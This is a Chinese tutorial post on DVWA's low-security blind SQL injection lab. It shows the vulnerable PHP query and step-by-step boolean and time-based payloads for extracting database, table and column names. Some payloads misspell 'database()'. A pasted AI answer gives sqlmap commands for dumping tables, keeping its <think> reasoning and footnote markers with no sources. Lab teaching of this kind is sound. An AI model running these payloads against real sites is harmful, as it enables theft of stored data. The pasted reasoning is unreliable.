SQL Injection Blind(Low)

本文详细解析了SQL盲注攻击的原理与利用方法,包括基于布尔和时间的盲注技术,通过实例展示了如何猜解数据库名、表名、字段名及数据。

Low

代码分析:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

这里是SQL盲注漏洞
在这里插入图片描述

漏洞利用

基于布尔的盲注:
1)判断是否存在注入,注入是字符型还是数字型

如何判断是字符型注入还是数字型注入
输入
1 and 1=1
1and 1=2,
页面回显相同,显示相应用户存在:
在这里插入图片描述
输入
1’ and ‘1’='1 ,显示相应用户存在:
1’and ‘1’='2,显示相应用户不存在:
页面回显不一致
在这里插入图片描述

得出结论:字符串注入

2)猜解数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1’ and length(database())=1 #,显示不存在;
输入1’ andlength(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

说明数据库名长度为4。

下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97
显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
在这里插入图片描述

输入1’ and ascii(substr(databse(),1,1))<122
显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109
显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103

显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100
显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100
显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
在这里插入图片描述

**

**
重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3)猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where
table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where
table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit
0,1),1))=1 # 显示不存在 1’ and length(substr((select table_name from
information_schema.tables where table_schema=database() limit
0,1),1))=2 # 显示不存在

… 1’ and length(substr((select table_name from
information_schema.tables where table_schema=database() limit
0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4)猜解表中的字段名

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns
where table_name= ’users’)=1 # 显示不存在

1’ and (select count(column_name) from information_schema.columns
where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1’ and length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit 0,1),1))=1
显示不存在

1’ and length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit 0,1),1))=7
显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

5)猜解数据

同样采用二分法。

基于时间的盲注
1)判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

2).猜解当前数据库名

首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟

1’ and if(length(database())=2,sleep(5),1) # 没有延迟

1’ and if(length(database())=3,sleep(5),1) # 没有延迟

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

3)猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables
where table_schema=database() )=1,sleep(5),1)# 没有延迟

1’ and if((select count(table_name) from information_schema.tables
where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1’ and if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit
0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit
0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

4)猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns
where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1’ and if((select count(column_name) from information_schema.columns
where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit
0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit
0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

5)猜解数据

同样采用二分法。

<think>好的,我现在需要回答用户关于如何使用SQLMap工具执行盲注攻击的问题。首先,我需要回顾用户提供的引用内容,确保回答准确并符合引用要求。 用户提到了四个引用,其中引用[1]提到在DVWA环境中使用SQLMap进行布尔盲注时,可以使用--technique参数指定B。引用[2]给出了获取列名的具体命令示例,引用[3]展示了如何判断字段数的SQL语句,而引用[4]是法律声明,需要注意在回答中强调合法性。 接下来,我需要组织回答的结构。用户要求分步骤说明教程和参数配置,所以应该先介绍盲注的基本概念,然后分步骤讲解配置参数、使用示例,以及可能的高级参数。同时,需要引用相关的引用内容,并在适当的位置添加引用标识。 首先,定义盲注,说明布尔盲注和时间盲注的区别。然后,介绍SQLMap的基本命令结构,特别是如何指定注入技术(--technique B或T),这里引用引用[1]的信息。 接着,分步骤说明配置参数。例如,步骤1是目标识别,包括URL和cookie;步骤2是指定注入技术,引用[1]的例子;步骤3是获取数据库信息,如数据库名、表名、列名,这里可以引用引用[2]的命令;步骤4是数据提取,可能涉及--dump参数。 然后,给出一个具体的示例,结合用户提供的引用[2]中的命令,展示如何获取列名。同时,需要提到手动验证字段数的步骤,引用引用[3]中的SQL语句,但可能不需要详细展开,因为用户问的是SQLMap的使用。 最后,讨论高级参数,如设置延迟时间、风险级别等,并提醒用户注意法律问题,引用引用[4]的内容。 需要确保所有行内数学公式(如果有的话)使用$...$,独立公式用$$...$$,但这个问题中可能用不到数学公式。使用中文回答,结构清晰,步骤明确,并在适当位置添加引用标识,例如在提到--technique参数时引用[^1],在示例命令中引用[^2]。 同时,用户要求生成相关问题,我需要根据回答内容提出三个相关问题,可能涉及盲注与其他注入的区别、优化方法以及防御措施。 最后,检查是否符合所有系统级指令,特别是引用标识的正确添加和格式要求。确保回答真实可靠,并强调法律声明,避免鼓励非法行为。</think>### SQLMap盲注攻击使用教程 #### 一、盲注原理与分类 盲注(Blind SQL Injection)是在无直接数据回显时,通过逻辑判断或时间延迟获取数据的注入方式,分为两类: 1. **布尔盲注**:通过页面返回的布尔值(真/假)差异推断数据,例如使用`AND 1=1`或`AND 1=2`[^3] 2. **时间盲注**:通过条件触发的延时响应(如`SLEEP(5)`)判断逻辑真假 --- #### 二、SQLMap盲注核心参数配置 1. **基本命令格式** ```bash sqlmap -u "<目标URL>" --cookie="<会话Cookie>" --technique=<注入技术> [其他参数] ``` 2. **关键参数说明** | 参数 | 作用 | 示例 | |------|------|------| | `--technique` | 指定注入技术 | `B`(布尔盲注)、`T`(时间盲注) | | `--batch` | 自动确认操作 | 避免交互式提示 | | `--dbms` | 指定数据库类型 | `--dbms=mysql` | | `--level` | 测试等级(1-5) | `--level=3`(更全面的测试) | | `--risk` | 风险等级(1-3) | `--risk=2`(允许写入操作) | | `--time-sec` | 时间盲注延迟秒数 | `--time-sec=5` | --- #### 三、实战操作步骤 1. **目标识别** ```bash sqlmap -u "http://目标URL?id=1" --cookie="PHPSESSID=xxx; security=low" --batch ``` 2. **指定盲注技术** ```bash # 布尔盲注 sqlmap -u <URL> --technique=B # 时间盲注 sqlmap -u <URL> --technique=T --time-sec=3 ``` 3. **获取数据库信息** ```bash # 爆破数据库名 sqlmap -u <URL> --dbs # 爆破表名(指定数据库dvwa) sqlmap -u <URL> -D dvwa --tables # 爆破列名(指定表users) sqlmap -u <URL> -D dvwa -T users --columns [^2] ``` 4. **数据提取** ```bash # 导出指定表数据 sqlmap -u <URL> -D dvwa -T users --dump ``` --- #### 四、高级配置示例 ```bash # 组合参数示例(时间盲注+高风险模式) sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1" \ --cookie="PHPSESSID=xxx; security=low" \ --technique=T \ --time-sec=5 \ --risk=3 \ --level=5 \ --batch ``` --- #### 五、注意事项 1. **合法性声明**:技术研究需在授权环境下进行,禁止用于非法渗透[^4] 2. **防御建议**:使用参数化查询、输入过滤等措施防范盲注攻击 3. **性能影响**:盲注检测耗时较长,建议设置`--threads`参数控制并发
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值